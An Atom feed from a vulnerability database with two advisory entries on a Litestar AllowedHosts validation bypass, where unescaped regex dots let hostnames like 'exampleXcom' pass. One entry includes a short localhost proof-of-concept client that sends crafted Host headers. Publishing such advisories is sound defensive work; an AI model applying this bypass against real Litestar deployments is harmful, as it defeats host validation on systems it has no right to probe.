<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-06T13:14:26.588488+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/cve-2026-25479</id>
    <title>CVE-2026-25479 — Litestar has an AllowedHosts validation bypass due to unescaped regex metacharacters in configured host patterns</title>
    <updated>2026-10-06T13:14:26.626199+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> litestar-org litestar</p>
<p>Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, in litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname. This vulnerability is fixed in 2.20.0.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/cve-2026-25479"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-93ph-p7v4-hwh4</id>
    <title>GHSA-93ph-p7v4-hwh4 — Litestar's AllowedHosts has a validation bypass due to unescaped regex metacharacters in configured host patterns</title>
    <updated>2026-10-06T13:14:26.626288+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: litestar</p>
<p>### Summary
AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom</p>
<p>### Details
In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.</p>
<p>### PoC
Server (poc_allowed_hosts_server.py)</p>
<p>```
from litestar import Litestar, get
from litestar.middleware.allowed_hosts import AllowedHostsConfig</p>
<p>@get("/")
async def index() -&gt; str:
    return "ok"</p>
<p>config = AllowedHostsConfig(allowed_hosts=["example.com"])
app = Litestar([index], allowed_hosts_config=config)
```</p>
<p>`uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001`</p>
<p>Client (poc_allowed_hosts_client.py)</p>
<p>```
import http.client</p>
<p>def req(host_header: str) -&gt; tuple[int, bytes]:
    c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3)
    c.request("GET", "/", headers={"Host": host_header})
    r = c.getresponse()
    body = r.read()
    c.close()
    return r.status, body</p>
<p>print("evil.com:", *req("evil.com"))
print("exampleXcom:", *req("exampleXcom"))
```</p>
<p>Expected (vulnerable behavior):
Host: evil.com → 400 invalid host</p>
<p>Host: exampleXcom → 200 ok (bypass)</p>
<p>### Impact
Type: security control…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-93ph-p7v4-hwh4"/>
  </entry>
</feed>
